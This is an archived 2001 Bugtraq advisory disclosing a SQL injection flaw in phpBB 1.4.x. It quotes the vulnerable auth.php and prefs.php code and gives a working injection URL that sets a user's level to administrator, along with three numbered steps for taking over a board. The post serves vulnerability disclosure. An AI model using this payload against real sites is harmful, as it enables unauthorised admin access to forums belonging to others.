[22112] in bugtraq
phpBB 1.4.0 bug leads to easy admin privileges
daemon@ATHENA.MIT.EDU (kill-9@modernhackers.com)
Fri Aug 3 17:31:26 2001
Date: 3 Aug 2001 19:51:28 -0000
Message-ID: <20010803195128.28174.qmail@securityfocus.com>
From: <kill-9@modernhackers.com>
To: bugtraq@securityfocus.com
-New phpBB 1.4.x exploit
phpBB, is an open source bulletin board created by
the
phpBB group. Version 1.4.x of phpBB has a variable
input
validation problem that can lead to limited arbitrary sql
querys including gaining administrative access to the
board.
The problem lies in the fact that phpBB 1.4.x includes
an
algorithm in the auth.php file which removes
backslashes
that php automatically adds to GPC
(Get/Post/Cookie)
variables.
<Example code from auth.php>
if(get_magic_quotes_gpc() == 1)
{
switch($REQUEST_METHOD){
case "POST":
while (list ($key, $val) = each
($HTTP_POST_VARS)){
if( is_array($val) ){
array_walk($val, 'stripslashes_array', '');
$$key = $val;}
else{
$$key = stripslashes($val);}
}
break;
</ End example code>
Therefore, certian php variables submitted through a
URL
can reach an sql query with unescaped quotes,
which is
not good for security reasons. In the prefs.php file
such
a situation exists where a user can execute an
arbitrary
query by supplying an certian value for the
$viewemail
variable.
< Example sql query in prefs.php >
$sql = "UPDATE users SET
user_viewemail='$viewemail',
user_theme='$themes', user_attachsig = '$sig',
user_desmile = '$smile', user_html = '$dishtml',
user_bbcode
= '$disbbcode', user_lang = '$lang' WHERE
(user_id = '$userdata[user_id]')";
</ End example code >
Example URL gives a username "l337h4x0r" level 4
(administrative) privileges the board:
<Example URL>
http://sitename/phpBBfolder/prefs.php?save=1
&viewemail=1',user_level%3D'4'%20where%
20username%3D'l337h4x0r'%23
</ End example URL>
Summary:
1. Register an account on a phpBB board version
1.4.x .
2. Enter above URL with the correct sitename
and replace l337h4x0r with your username.
3. Click on "Administration Panel" near the bottom of
the page.
found by: kill-9@modernhacker.com
http://www.modernhacker.com
